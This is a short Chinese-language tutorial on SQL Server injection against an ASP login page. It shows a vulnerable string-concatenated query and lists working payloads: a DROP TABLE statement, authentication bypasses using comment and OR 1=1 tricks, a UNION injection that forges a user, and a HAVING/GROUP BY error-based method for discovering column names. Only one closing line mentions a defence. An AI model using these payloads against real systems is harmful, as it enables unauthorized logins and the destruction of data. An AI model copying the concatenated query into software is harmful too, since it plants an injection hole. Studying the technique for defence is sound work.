SQL Server 高階注入技術（二）：ASP 登入頁實戰、UNION 注入繞過驗證、錯誤回顯偵察表結構

經典 ASP 登入頁注入點

var sql = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

常見攻擊載荷

• 刪表：username: '; DROP TABLE users--
• 繞過驗證（已知用戶名）：username: admin'--
• 繞過驗證（任意用戶）：username: ' OR 1=1--
• 註入虛構用戶登入：username: ' UNION SELECT 1, 'hacker', 'pwd', 1--（欄位數、型別需匹配）

錯誤回顯偵察表結構實戰

假設 users(id int, username varchar, password varchar, privs int)。

1. username: ' HAVING 1=1 -- → Column 'users.id' is invalid... 得知表名 users、第一欄 id。
2. username: ' GROUP BY users.id HAVING 1=1 -- → Column 'users.username' is invalid... 得知第二欄 username。
3. 逐步加入 GROUP BY users.id, users.username, users.password, users.privs 直到無錯誤，確認四欄結構。

此技術由 David Litchfield 於滲透測試中發現，核心在於 HAVING 強制聚合語境，搭配 GROUP BY 逐欄試探。生產環境關閉詳細錯誤回顯可有效斷鏈。